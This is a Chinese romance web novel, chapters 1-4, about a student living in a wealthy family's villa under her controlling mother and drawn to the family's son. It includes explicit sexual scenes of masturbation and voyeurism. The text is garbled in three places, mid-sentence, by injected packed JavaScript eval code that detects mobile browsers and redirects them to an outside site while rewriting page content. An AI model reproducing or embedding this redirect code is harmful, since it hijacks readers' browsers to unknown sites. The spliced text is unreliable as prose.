《奇怪的少爷》 1. 第 1 章 舒颜被闹钟吵醒了,昨天晚上舒芸,也就是她的妈妈,半夜还来突袭,就为了看她到底有没有在学习。 她疲惫地用被子蒙住自己的头,即便她知道这样根本无济于事。 “颜颜,起床了。”舒芸果然来喊她。 舒颜很想再睡一会儿,昨天晚上又失眠了,凌晨四点才昏昏沉沉睡着。 几秒钟不见舒颜的应答,舒芸又敲了几声,闹钟还在不停地响着。舒颜不起来,她和它根本不会消停。 “七点了,昨天晚上只学到十二点,是不是又熬夜了。”门外的舒芸声音沉了沉。 舒颜掀开被子,乱糟糟的头发遮住了她的脸,她用手将头发向后拢了拢,露出一张苍白疲倦的脸。 “知道了,已经起来了。”声音还带着些哑,舒颜眯着眼去摸床头那里的黑框眼镜,戴上去的那一刻,视线清明。 屋内装修是大气的欧式风格,外面的天光透过奶白色的窗帘映照进来,洒在木质的地板上。 “快点洗漱,早餐等一下给你端过来,吃完就背书。” 舒颜揉了揉有些痛的太阳穴,对门外的舒芸应了一声好。 闹钟还在响,舒颜只觉得习以为常,她坐在床上缓了会儿神,离开温暖的被窝,将质感极好的粉色窗帘拉开,其实窗帘是智能的,但是舒颜习惯了这样用手拉开。 看吧,穷人就算是到了一个富有的环境下,还是不会享受。 是落地窗,窗前是一个欧式复古的阳台,天气很好的时候会有阳光,坐在那里发呆和看书,都是一种享受,不过舒颜已经很久没有静下心来去看一本书了。 这间房装修得很少女,舒颜猜想女主人一定有一个女儿。 她本来还在眺望着远方的蓝天来适应着白天的光线。 “扑通”一声,是楼下游泳池的声音,戴着眼镜的舒颜站在阳台那里向下看。 湛蓝的游泳池内,有一个修长的身影正在敏捷快速地游着,随着他手臂的向前滑动,背部的肌肉灵动鼓起,在往下是窄腰,双腿修长,肤色是很白,感觉比她这个不怎么见太阳的人还要白。 算好看吗?舒颜觉得的算的。她没怎么和男生接触过,看见男性只穿內库的身体更是少之又少,游泳池里的这位,算是她见过长得最好看、身材最顶的男人了。 舒颜就这样看着他游了一遍又一遍,脑海里想着他到底冷不冷,他游泳到底怎么学会的,学习游泳需要多长时间…… 等到那人从泳池中上来,露出身材的全貌,确实是宽肩窄腰、前面的肌肉比后面的肌肉更加好看,像垒好的一块又一块砖头,挺阔的胸肌,有致的腹肌,再往下是……长腿笔直。 ——她还是没有移开视线,直到那人看过来。 面部线条凌厉,鼻子高挺,唇薄但有形,可能是太白了,显得他有些病态,但是他的身材告诉她并不是,最好看的是那双蓝色的眼睛,清澈透亮,但很冷漠,看过来时舒颜之敢和他对视七秒就移开了视线。 然后她就转身走了,想到自己刚刚是刚起床脸都没有洗的样子,她心中莫名冒出来一些羞,但很快就消失了。 因为她知道,那人是这栋豪华别墅的大少爷,她连怀春的资格都不配。 不知道是不是她的错觉,她总觉得那少爷看她的眼神,有些奇怪? * 这是舒颜来到这栋别墅的第三天,舒芸给这栋别墅的主人家做家政工作,因为别墅建在山上,女主人便以为了方便为由邀请舒芸住在这里,反正房间很多。 舒芸一开始还在犹豫,因为她放心不下备战考研的女儿,她委婉向女主人提出想要让自己的女儿也搬过来,不会占用太多房间,母女两一间房就够了;若是不行,这个工作恐怕她不能胜任。 或许是被舒芸这望女成凤的心给打动了,女主人愉快地答应了,且听说舒颜在备战考研之后,还贴心地给她单独安排一间三楼的房间,几乎不会有人在上面走动。 舒颜真替母亲感谢这别墅女主人的热情大方。 这是她第二次考研了,舒芸比她还紧张,管着舒颜的吃喝拉撒,简直就是活在她的监控之下。 早饭是舒芸端上来的,舒颜像个机器人一样将一个鸡蛋、两个包子、一杯牛奶解决完后,舒芸算好时间进了她的房间,盯着她拿出专业书籍、翻开之后,收走了她的手机,这才满意地端着碗筷离开。 舒芸走后,舒颜沉沉地叹了口气,看着书上面逐渐扭曲的文字,开始发呆。 发呆就是发呆,什么都不想。 她的一天,大部分都是这样过去的。只不过之前是破旧的出租屋,现在是豪华的大别墅,没什么区别的。 * 半夜十二点了,舒芸还是没有将手机还给她,即便没有什么人会和她联系,她也没有需要联系的人,但是舒颜还是因为手机不在自己身边而心慌。 看着闹钟转到十二点半了,舒颜决定主动去找舒芸拿。 跟小说里描写的一样,夜晚的大别墅空荡且昏暗,她的隔壁门缝中,透出一些灯光。 舒颜扶了扶自己的眼睛,准备从隔壁房门路过下楼,却在经过时停下脚步。 是男人的喘息声,急促的,没有规律的,像是曾经她碰过的旧钢琴,低沉而闷,却不刺耳,还有一种别样的味道。 时而缓时而快时而停了好久时而又忽然开始。 音调本来是低的,在她顿住脚步的那一秒,忽然一声高而短的呼吸,像是施刑者忽然停了下来,受刑者继而不断地调整呼吸。 等到声音终于快消失不见的时候,舒颜面色不变地从房门经过。 ——那是少爷岑尽白的房间。 多纯洁的名字啊,她都忘了,是个人都会有肮脏的欲望。 她说舒芸怎么没来查岗送手机呢,原来是累得睡着了。 她的房间没锁,舒颜一拧开门就看见侧躺在床上闭着眼的舒芸。 因为是侧躺,她眼角的皱纹全都压出来了,像是失去水分的树皮一样,松垮垮的快要随时脱落。 舒颜刻意不去看,拿走自己的手机准备走,却又返回来给舒芸盖好被子。 回到房间后,舒颜的心还在剧烈地跳动,好久没有这样快的心跳了,上一次还是舒芸拿刀威胁她的时候。 她打开没有设锁的手机,滑动右键,看见没有某宝的窗口后,心中缓缓舒了口气。 若是打开某宝点进待收货那里看,便会发现她购买的商品是“私|密发货”、“吮|吸|膏巢”“入|体” 她之前是不知道这个的,因为她所接触到的性|知识,应该是大学开始有自己的电脑手机后,网页界面总是弹出的一些动图,但是那时她觉得这种事情很恶心,从来没有真正接触过。 是有一次期末周了,宿舍只有她和另外一个室友房晴晴时,她跟她谈起了这个话题。 当时的舒颜在干什么呢?她在复习,为了奖学金,为了保研。 房晴晴当时在床上, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14963598|161169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忽然就来了一句:“嗳,舒颜,你感受过快感吗?” 舒颜:“什么快感?” “就是那种很舒服,像洗澡时泡在温暖的水里,又像是夏天汗津津的感觉,大脑里还会放烟花那种。”说完房晴晴还补充了一句,“关于性的。” 这个问题让舒颜从知识中抽出。 但是房晴晴根本不等她的回答,“算了,你这书呆子知道什么?我真是疯了才问你,不过你要是想体验可以在某宝搜‘女生小玩具’。”似乎是没有耐心和舒颜解释了,“周菲意她们两个什么时候回来啊!”说完又自顾自烦躁地在床上滚了一圈。 舒颜自始自终都没有跟她聊上这个天,因为她真的不了解。 但是现在她不仅了解了,还实践了。总结下来没有她想象的那样不堪,甚至会觉得很爽。 她之前都是用吮|吸的,但是用太多次了没什么感觉了,她大胆想尝试一下入|体的。 应该是这几天到,怕突然来消息被舒芸看到,所以她今天晚上才主动去拿手机的。 今晚情绪来得有些激烈,她又有欲望了。秉着不想压抑自己的想法,她从床底下的一个小盒子里拿出来一个白色柱状。 电音在寂静的夜里显得有些大,但是在舒颜听起来反而是助兴,一开始在身体还是放松的,后来越来越紧绷,瘦弱的腰躬了起来,伶仃的腿也在用力。 舒颜的眼镜摘了,但她将眼睛也闭得很紧,唇紧抿,时不时露出雪白的牙齿咬一下。 全程她都没有发出声音,脑子里全是早上看到的场景。 在最后一刻,鱼儿终于可以大口呼吸。舒颜呈大字状平躺在床上,目光涣散地盯着头顶的玻璃灯看。 人都有肮脏的欲望,她也有。 * 舒芸第二天问她:“你昨天晚上来我房间了?”不是质问。 舒颜正在吃舒芸给她削好的苹果,闻言也没有抬头,继续看书:“嗯,我习惯用手机的闹钟。” “不是想联系那个人?”她还是怀疑她。 舒颜抬头,面无表情:“不是。” 舒芸看了她几秒,忽然笑了,伸手摸了摸舒颜的头,真像是疼爱女儿的慈爱妈妈。 “妈妈知道你不是。颜颜答应过妈妈的事情,从来都没有让妈妈失望过,不是吗?” 舒颜低下头,嗯了一声。 其实她的妈妈年轻时很美,笑起来更美,不过后来自己一个人带着女儿,被生活蹉跎的容颜不再。 头上的手离开,舒芸也渐渐收了笑容,温柔说:“今天想吃什么,太太今天不在家,岑家的那个也不怎么挑食,妈妈给你做你喜欢吃的油焖大虾好不好?” 岑家的那个就是岑尽白,这个家的大少爷。 舒颜乖巧地点点头:“你不要总是太累,我也可以帮你的。” 舒芸愣了之后又笑,说好。 舒颜从小就喜欢吃虾,但是那时候虾对她们母女来说是奢侈的食物,只有舒颜拿到了第一名,舒芸才会破格决定买一次海鲜改善一下伙食。 舒芸不吃,都是舒颜吃,舒颜让她吃,她就是不吃,甚至还夹起舒颜吐处来的虾皮放在嘴里嚼。 “妈妈吃这个就行,听说虾皮时补钙的呢!” 舒芸很会做饭,舒颜从小就是吃她的饭长大的,这次做得虾也一样,闻起来很香,色泽也很诱人。 但舒颜却在入口的那一刻,止不住的干呕,在舒芸异样的目光下跑去了卫生间。 2. 第 2 章 从卫生间回来的时候,舒芸仍旧站在她的书桌旁,只是桌上的那盘色相极好的虾不见了。 看见舒颜回来了,舒芸神色如常,笑道:“妈刚刚尝了一下,太咸了,应该是放多盐了,妈给你倒了杯水。” 舒颜接过,没喝:“嗯。”她抬头看向自己的妈妈,“一定是你太累了。” “是是是,妈最近忙糊涂了。” 舒颜坐在书桌前,低头喝了一口水,厚厚的刘海遮住了她的眼睛。 幸好有眼镜,不然就会刺到眼睛里。 “妈,我想出去配隐形眼镜。” 舒芸看了一眼舒颜的黑框眼镜,“是眼睛度数又涨了吗?” “不是,是眼镜很重,压得我鼻子很疼。” “你之前也没这样说过。” 舒颜抬头,透过黑框眼镜静静地看着她。 舒芸神色忽然顿住。 舒颜的眼睛很漂亮,像她,大而圆,黑亮有神,睫毛也很长。 但这些都被沉重死板的黑框眼睛遮盖住。如果不靠近看或者是舒颜主动摘下眼镜,很少有人注意到。 舒颜抬手将眼镜取下来,露出一张小巧苍白的脸,因为脸小,那双漂亮的眼镜便更加突出,只是,漂亮而无神。 “怎么不早点跟妈妈说?” 眼镜在鼻梁两侧支撑的地方赫然出现两点红印子,还是凹下去的,舒颜皮肤又白又嫩,两个凹下去的红印子看起来有些可怕。 舒芸伸手想去摸舒颜的脸,被舒颜躲过,又讪讪放下。 “妈妈,我想换隐形眼镜,不想戴眼镜了。” 又补了一句,“很疼。” 舒芸居高临下,舒颜仰头,斑驳的光影投射在养育她许多年的母亲的侧脸,柔和又木然。 “好。” * 在“决定”备战第二次考研之后,她再次翻开烂熟于心的专业书,居然觉得自己就是再世“鲁迅”。 白纸黑字居然张开血盆大口,张牙舞爪地要吃掉她,可是她曾经觉得,除了书籍,没有人会一直陪着她。 她不是鲁迅,她没有勇气拿起笔。 她甚至,都不敢和自己的妈妈分享秘密,她的乖巧女儿,爱买小玩具,现在还要尝试入体式的。 第一次尝试性,是在考研失败后失眠的第六十八天,她有些犹豫,手里攥着一个小巧的、可爱的,神色冷漠地开始了自己的探索。 蜷缩、流汗、呻吟、喘息。 从未接触过的感受,在她的脑海里翻滚着,她一边享受一边唾弃。 结束之后她愣了许久,将玩具扔在地上,没有洗澡,直接平躺在床上,睡了过去。 后来,她被带在舒芸身边,除了睡觉的时候,她几乎都在接受着舒芸的监督,也就只有在睡前,她才会有自己的快乐。 现在,她好像在这栋豪华的别墅里,找到了更好的玩具。 只是不知道,这个玩具她能不能用到。 * 又是一天早上,舒颜被闹钟吵醒,翻身下床。她直接裸睡,□□地站在房间里,揉了揉自己的眼镜,醒神,然后找到眼镜,戴上。 舒芸照例来敲门,舒颜喊了一声自己已经醒了,舒芸便不再敲了。 白皙的脚掌贴着木质地板,因为冷脚趾一根一根无规律蜷缩,脚掌的主人像是感受了很久才醒过来去找衣服,不过披上衣服也不穿鞋,而是选择打开阳台门,往下看。 不巧的是,楼下没有他的身影,今天也不是晴天,天气是阴冷阴冷的,游泳池的水也因为阴天变成暗沉的深蓝色。 可是舒颜一转头,便看见旁边阳台上站着一个人,正是岑尽白。 他穿着深灰色的浴袍,不知道是什么材质,看起来柔软,却泛着光泽,头发还是湿漉漉的,一撮一撮的垂在额头,也不贴着。 眼睛是蓝色的,竟也像楼下此刻游泳池的颜色,正看着她。 舒颜被吓到了,但是她没叫,只是抿抿唇,看向他。 但是她发现,他是在看她这个方向,只是看她又不在看她。顺着他的目光,她低头,看到的是自己光着的脚。 因为常年不见光,舒颜的脚和小腿,白到发光。脚背上是细细的淡青色青筋,细细的脚踝后,是分明的肌腱,往上线条流畅,小腿不见毛孔。 岑尽白不是一个没有礼貌的人,从小秋女士便告诉他,跟女孩子说话时要轻声细语,如果发觉女孩子不好意思,要及时转移视线或者不着声色地退开。 他不听大人的话,但是他从来不屑于看别人,更何况像现在这样的情况。 她只是露出了脚和小腿,明明是再平常不过的两个人体器官,可是他居然觉得美丽至极,无人能比。 以至于他无法移开视线,冒犯地一直看。 “你在看什么。” 地上有什么好看的吗?还是真的在看她的脚…… 舒颜感到有些无措了,她忍不住的生理反应让她缩了缩。 但岑尽白的眼神随着她的动作又暗了一个度。 反应过来的时候,舒颜都已经想抬脚走了,如果不是他长得太好看的话。 她听见他带着真诚的歉意说:“抱歉。” 然后那个高大的身影便消失了。 随着岑尽白一起出现的怪异感,在他走后也消失了。 舒颜松了口气,望着隔壁空荡的阳台发呆。 * 忍着恶心吃过早饭后,舒颜再次跟舒芸提出自己想要独自去配一个隐形眼镜。 舒芸表情僵硬,只能笑笑,说自己太忙,没时间陪她去,要舒颜再忍忍。 确实忙,不好走开,整个大别墅的家政工作几乎都舒芸做。舒颜表示理解。 这时候高跟鞋落地的声音传来,紧接着进来一个让这本就金碧辉煌的室内都黯然失色的女人。 “白白!白白——”她进来就喊,声音甜腻,毫不顾忌。 紧接着便丝毫没有豪门太太那样端着的往沙发上一躺,看见舒颜母子俩还露出灿烂一笑。 秋月苓昨天参加完和小姐妹的聚会,喝醉了,岑方启亲自接她回家,她不愿意,非说要去住什么酒馆,但是岑方启愿意宠着她,立马让人去收拾那家早就买下来的酒馆,带着喝得迷糊的秋月苓去那里睡觉。 这不,岑方启去公司了,睡到自然醒的秋月苓独自回来,丝毫没有宿醉的模样,可见被照顾得很好。 岑尽白不出来迎接自己的妈妈,或者说已经习惯了自己的妈妈回来就会喊他几声这种习惯,他在楼上就算是听见了也没有任何回应。 “颜颜今天没在学习吗?”秋月苓在跟舒颜打招呼,女主人是个热情好脾气的人,可能还有些自来熟,喜欢叠字叫人。“其实适当的放松一下也好。” 但是说完这句话秋月苓看了一眼舒芸的脸色,舒芸面色如常。 “没呢太太,她正要去。”舒芸带着恭敬的笑意对秋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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舒芸没再说什么,她问秋月苓,今天中午想吃点什么。 * 车里是清洁的气息,没有香味却让人心旷神怡,和舒颜身旁坐着的岑尽白身上的气味一样。 有钱人家的司机是不是都不会在开车的时候说话,舒颜觉得这真是一个好习惯,不仅不用费口舌去和不熟的人寒暄,也能让她用心去感受所处之地和身边之人。 太安静了,安静到她好像能听到自己的心跳声,好像也没有想象中的那么快,但也没有想象中的那么慢。 是要做些什么吗? 舒颜扭头看向身旁的岑尽白。 他坐姿很好,目视前方,两手放在膝盖上。 他的手背青筋明晰,她悄悄伸出自己的手,用目光比较了一下,发现他的骨节比自己的粗好多,手指也很长,指甲上的月牙昭示着他的健康,且边缘修剪齐整。 舒颜认真地欣赏着他的手,评价了一句还不错。 她正要将目光从他手上收回来的时候,却发现他的手指在弯曲,指腹在摩梭他的裤子。 舒颜:?明明刚刚没有这个动作。 她向上去看,正好他转过来的目光对上。 平静,深邃,没有方向。 舒颜先将目光移向窗外。 一声如释重负的喘气声,几不可闻。 3. 第 3 章 司机将车子稳稳停住。 舒颜在解安全带,岑尽白已经比她快一步下了车,她的手刚刚碰到开车门的把手,门就自己开了,她抬眼看到了站在车门旁边的岑尽白。 “谢谢。”舒颜边下车边说。 “小心头。” 岑尽白抬手,没有触碰她,只是怕她碰到头或者是摔倒。 舒颜因为他的举动动作一顿,又很快恢复。 舒颜事先已经了解过配隐形眼镜的流程,有说去眼镜店就可以,也有说去医院更专业,她选择了医院。 去医院配隐形眼镜的流程很多,舒颜怕麻烦别人,且不好意思让岑尽白久等。 “我自己去就好,你去做你自己的事情,不用等我,时间可能很久,你先回去吧,我自己打车回去。” “不用,我可以等。” 舒颜:“会很久。” 岑尽白和她站在医院门口的路边,一个矜贵一个平庸,实在惹眼。 “如果来不及我会走。”岑尽白看着她说。 舒颜不劝了,反正浪费的不是她的时间。 岑尽白看着舒颜无奈转身,敛眸,跟上她的脚步。 医院里的人大多行色匆匆,要不就是疲惫不堪,很少有人注意到这两个差别极大的人,所以并没有给舒颜带来困扰。 舒颜要先去问诊。 是个女医生:“多大了?” “22。” “平时用眼做得最多的事情是什么?” “看书。” 医生抬头看了舒颜一眼,皱眉。 医生照例问了许多问题,舒颜都认真回答,结束时医生还多嘴八卦一句。 “外面那个,是你哥哥?” “不是。” “男朋友?”医生有些不相信。 舒颜没在意,摇摇头。 …… 她从房内走出来,一眼就看见站在门口的岑尽白。 他等人不像现在大多数人在玩手机,也不像一些不着调的年轻人那样倚靠着墙,就只是站在那里,安静地等她出来,在她出来的那一秒,准确地看向她。 一身黑色,姿容贵气逼人,配上那张泣鬼神的脸,简直不像是凡人。 所以那个医生才会八卦,大概是觉得,像她这样长相的人,不会与岑尽白这样的人有关联吧。 舒颜对着岑尽白弯了弯唇角:“还有好几个流程,你可以先走的。” 岑尽白看了一眼手机,道:“不用,走吧。” 他清楚下一个流程是做眼部的检查,与舒颜并肩走。 做眼部检查需要摘下眼镜,舒颜看了一眼身旁的岑尽白,没什么犹豫地摘下了眼镜。 黑框眼镜一经摘下,她的脸展现出来了一半,检查的医生觉得她刘海有些长,给了她一个发卡让她卡起来。 “长得那么漂亮留这么厚的刘海?还有你这隐形眼镜,真是配对了,戴上你现在的黑框眼镜,直接掩盖了你百分之九十的美!”医生在看到她整张脸这样说。 舒颜摘下眼镜,习惯性的不适应和视线本来的模糊,让她有些没有安全感,听完医生的话她有些愣。 “好看?”舒颜疑惑开口。 “你自己长什么样你不知道吗?难道真的有人美而不自知?你这五官那么标志,长得那么乖,怪不得找到那么帅的男朋友。”这个男朋友,指的是舒颜身边的岑尽白。 “他不是——” “说句实诚话,你男朋友长得跟天仙似的,你和他看起来就很般配,怎么会不好看?”医生打断了舒颜要否认的话语。 舒颜觉得没必要解释了,反正以后也不会见面,就不再说话,而她视线模糊,根本看不清岑尽白的表情,他没否认,想必也不在乎这些。 “开始了哦,别动,要是害怕的话,可以让你男朋友靠近一些。”医生提醒。 舒颜连忙道:“不用。” 而她看不清的那人,此刻正炙热地看着舒颜。 她平常就很惹他注意,哪怕是一个动作,或是露出一点皮肤,他就像是得了什么病一样,疯狂注视,或者是疯狂积攒欲望——想要去靠近她。 而她摘下眼镜后的样子,更是让他根本挪不开眼。 她的眼睛,和那天晚上一模一样。 一样漂亮,一样诱人。 越是看着她,岑尽白就越渴,渴到一直在做吞咽动作,那股渴意,不知从哪里冒出来,直顶喉咙。 喉结运转得越来越快。 舒颜听到医生说:“只是做个检查而已,你男朋友好紧张你哦~” 紧张她?这有什么好紧张的? 她看不清,也没法去看,但是也能感受到,自己的身上好像落下了一个灼热的视线,存在感很强,不然她也不会感受到。 舒颜不知如何回应医生的调侃,索性便笑笑不说话。 接下来的流程,有好长一段时间舒颜的视线都是模糊的,但她知道,自己身边始终有一个人。 让她惊讶的是,在她重新恢复视力时,那道视线却不落在自己的身上,而是落在了别处。 但是转而舒颜便因为一个发现而陷入疑惑,虽然不知道他不看她是出于什么原因,却发现他的耳朵红了。 挺伟大的一个发现,因为在她之前的世界里,岑尽白就像是网上流行的高岭之花一样,只可远观,不可亵玩。 转而又有些怀疑医生刚刚的话,她真的有那么好看吗? 可是舒芸之前骂过她,说她是这个世界上最平庸的一个人了,长得平庸,家世不好,若是不好好学习,以后一定会变成过得很差。 舒芸还给她指了指天桥上失去双腿的流浪汉,说:“若是你不好好学习,你以后就会变得像他一样。” 流浪汉穿着破布烂衫,靠近就会有恶臭味,露出来的皮肤都是黢黑的,只能在地上匍匐移动,祈求人们那多余的同情心。 那时舒颜被吓到了,但是现在的舒颜不相信了。 验光和选镜片之后,舒颜终于戴上了自己念念许久的隐形眼镜。 那种感觉是奇妙的,鼻梁上没有了大山,却能够看清这个世界。 舒颜迫不及待地扫视着周围,神色平淡的医生,和大多是白色装修的医院,还有,紧盯着她的岑尽白。她没有在他身上停留多久,很快掠过。 “哇——”舒颜忍不住惊叹一声。 旁边的医生轻笑,“再换一个发型,你将完成另一个蜕变。” “哈哈,我已经很开心了,你真的觉得我换个发型会好看吗?”舒颜没戴眼镜,还有一种自己看不清的错觉,于是冲着说话的男医生凑近,眨巴着大眼睛真诚地问。 摘掉了眼镜,舒颜的美丽展现了百分之六十,眼睛大,眼尾下垂显无辜,唇瓣是淡淡的粉色,那厚厚的齐刘海,显得她有些呆,但更多的是可爱,少有直男能扛得住这样近距离的美颜暴击。 那医生直接愣住,脸上泛红,然后张嘴成了结巴,紧接着他收到警告的视线,是舒颜身边的岑尽白,他连忙退开。 “我……我觉得你,你换不换都好看……”年轻的男医生抬头,小心翼翼看了一眼舒颜身边的岑尽白。 看着医生忽然这样紧张的神色,舒颜意会转头,岑尽白的身影不容忽视地挤进她的视线。 他就那样盯着自己,没有像刚刚那样躲。 看着他蓝色的眼睛,舒颜想,如果可以,她想买一副美瞳,不知道有没有跟岑尽白眼睛一样颜色的美瞳。 舒颜这样想着,听到身边站着的岑尽白问:“觉得如何?” 舒颜诚实道:“感觉很棒!” 男医生悄悄转移自己的阵地,内心感叹这姑娘男朋友的占有欲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14963600|161169||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真强。 舒颜又左右环视着,适应着第二次违抗母亲命令的新体验。 “要去换新发型吗?”岑尽白忽然说。 舒颜思考一瞬,浅笑:“下次吧。”这次已经很满意了。 不过她看着岑尽白忽地问:“我好看吗?” 岑尽白望着她,一字一句认真说:“一直都好看。” 舒颜的笑意一顿,当岑尽白的家庭教养好,所以才说这样让人开心的话。但她懂得这是在骗她。 舒颜:“谢谢。” 岑尽白在舒颜的眼中看见了她的不相信,又说了一句:“是真的。” 舒颜又向他说了一声谢谢,仍旧是不相信的。 在临走之前,舒颜拿起之前的黑框眼镜,放在手里看了几眼,便在路过医用垃圾桶后,啪嗒一声扔在里面,不回头地离开了。 岑尽白在她身后,瞟了一眼垃圾桶里的黑框眼镜,默默拿出来放在大衣口袋里,皱着眉头像遇见了什么难题一样。 他在想:为什么不相信呢?他只画他认为美的东西,在遇见她之后,她几乎成为了他的绘画主题。 * 从医院出来,司机像是神算子一样恰好停在他们面前,舒颜本着主人家优先的原则,想让岑尽白先上车,可是岑尽白却打开车门,让舒颜先上车。 他的手指纤细修长,冷白的肤色与银亮的车把手形成对比。 她评价还不错的手。 舒颜再次将这一行为归为岑尽白家良好的教养。 两人坐定,岑尽白身上洁净的气息铺面而来,两人之间的距离再次拉近,舒颜的心忽然开始乱跳。 “回家吧。”岑尽白对司机说。 司机启动车子。 舒颜忍不住问:“你不是要买颜料吗?” 岑尽白端正目视前方,侧脸棱角分明,异常优越。 “不买。”本来就不买,是陪她出来的借口。 舒颜不多问,只说了句好。 * 在换了隐形眼镜之后,秋月苓女士非常惊讶,她围着舒颜发出连续五个啧啧,像是找不到什么话要说。 然后又将自己做了红色长甲、贴满钻的手放在舒颜的脸上,抚摸揉搓。 在场四人只有岑尽白一个男性,他只跟秋月苓和舒芸打了个招呼便上楼了。 “颜颜这么好看的吗?真是明珠蒙尘!女孩子就应该美美的,我像你这么大的时候,衣服一天一个样,发型一周一换。要不要阿姨给你挑几件漂亮裙子啊?阿姨最爱看你这个年纪的女孩子穿得漂漂亮亮的。”秋月苓见着舒颜,简直两眼放光。 舒芸在一旁只笑,笑不达眼底。舒颜摘下眼镜,比年轻时的自己更加漂亮,这太危险了。 舒芸走到舒颜旁边,挽住舒颜的手臂,装作调侃道:“我早就跟颜颜说过,摘下眼镜更好,她就是不听,你看现在摘下来,不是好看多了。舒颜长得像我。” 舒颜手臂被挽住,又无法在秋月苓面前抽开,那样会让母亲没面子,她不点头也不否认,还是那个笑着的表情。 “不用麻烦阿姨的。” 秋月苓道:“我就想有一个女儿,这样就能打扮她,这哪是麻烦,谁不喜欢装扮美丽的人和物?”说到这里她一顿,面上有些哀愁,“谁知道肚子里爬出来一个男孩。” 是了,怀孕的时候她本来听说肚子里是个女孩,当时可把岑方启和她高兴坏了,连夜装修公主房,岑方启负责设计布局,秋月苓负责选择家具,将那间房子装修得温馨华丽,结果肚子里爬出来的是岑尽白。 岑方启沉默,秋月苓更是郁闷,很长一段时间都看着小小的岑尽白发呆,想着为什么做检查的时候小小的岑尽白要遮主自己的j-j,医生怎么就那么武断。 那间公主房,夫妻俩没舍得拆,就是现在舒颜住的那间房。 4. 第 4 章 舒颜没开口拒绝,因为她知道,舒芸会替自己拒绝秋月苓。 “不用了太太,舒颜有很多衣服,你知道的,这个年纪的小女孩都喜欢买衣服,是吧舒颜?”舒芸看向舒颜。 舒颜麻木道:“是的,不麻烦秋阿姨了。” 不是!根本不是!舒芸根本不喜欢给她买衣服,除了让她吃饱穿暖之外,什么精神价值、情绪需求,舒芸都不会给舒颜提供。 * 岑尽白回家后,便钻进了二楼的画室。 他需要做些别的事情,如果脑子里都是那个人,继续放任自己沉浸在那无端的欲望当中,他可能会疯掉。 他以为自己提起画笔,就能忘记那双眼镜,可是他忘了,那双眼睛,是他妄梦的开始,是他画笔的真正操控者。 就像现在,他不知道自己想画什么,却在乱涂乱画中,画出了她那双眼睛,那双无情的、冷漠的、美丽的、蛊惑他的眼睛。 岑尽白默默停下,安静地看着自己画布上的那双眼睛。 他也曾以为自己已经灵感枯竭了,再也无法拿起画笔了,可是他遇见了她,在那个没有任何预料的夜晚。 她的那个吻,唤起了他内心深处不为人知的贪念。他从不曾觉得自己渴望着什么,父母有钱,给自己最好的教育,在发现他在绘画上面的天赋后,直接将最好的资源塞给他,国内最有名的画家,国外最有名的美术学校,全都不费力气。 最让他无力的,是她不记得他。 她的那句不记得,打碎了他人生中生出了第一份期待。 那个奇怪的吻,是她的法术吗? 她是魔女吗? 倘若将镜头拉远,便会看见,一室昏暗,男人的剪影投射在墙上,他注视着画布,除了沉默还是沉默,只有画布上的那双眼睛,在和他的眼睛对话。 画室的地上,堆满了稿纸,离岑尽白最近的那张纸,是不久前才画的。 画上能清楚地看出,那是一双足。 看过那抹扎眼的白,他就像是沙漠里行进许久的僧人一样,渴,不知道从哪里冒出来的渴。 这太奇怪了。 她绝对用了法术! 他对她说了抱歉,是该抱歉的。他太不礼貌了! 真的太抱歉了,他该忏悔。 但他还在亵渎她。 岑尽白在画室呆了很久,久到他看了一眼腕上的手表,已经九点了。 他站起身来,回到自己的房间,走进了浴室。 不久浴室传出了浠沥沥的水声—— “咚咚咚——” 有人敲响了岑尽白的房门。 岑尽白在雾气中将自己的头发撩到脑后,关闭了花洒,慢悠悠走到了镜子前。 镜子里是一具成年男性的身体。 他也曾画过自己的身体。这具身体和别人没什么两样,甚至他还有些厌恶自己的身体,太过白皙,太过脆弱。 岑尽白随意裹上一件浴袍,门口那里又传来三声规律的敲门声。 他又慢悠悠走到的门口,打开了门。 是意想不到的人,是舒颜—— “不好意思,可以借一下你的浴室吗?我的浴室花洒好像坏了。”舒颜有些局促地说道。 岑尽白有七秒的静止,这七秒,不是在辨认眼前这个人是不是舒颜,而是在作反应,给自己的身体和自己的脑子一个缓冲的时间。 她怎么在这里?她怎么穿成这样?她怎么用这样的表情和自己说话? 其实舒颜没穿什么特别出格的衣服,只是穿了一件很旧很旧的白色睡裙,这件睡裙没有任何图案,本来有一个helloKitty,但是因为是十年前的衣服,被洗了好多次,图案被洗掉了,甚至于她的衣领子和她的下摆边缘,都是毛毛的,快要破了的样子。 这是一件糟糕的衣服,但是穿在舒颜身上,却没有那么糟糕,睡裙是宽大的,除了小腹以上的起伏,下面看起来都是空荡荡的,还有几片无名水渍。是那样的引人遐想。她的面色是红润的,眼睛是水润的。 真不知道她做了什么。岑尽白想。 岑尽白不说话,面上是少有的疑惑,舒颜觉得他不会借给自己浴室用,有些失落,于是说:“如果不是很方便的话,我可以——”去找我妈妈。 “请进。”岑尽白很冷静的同意了。 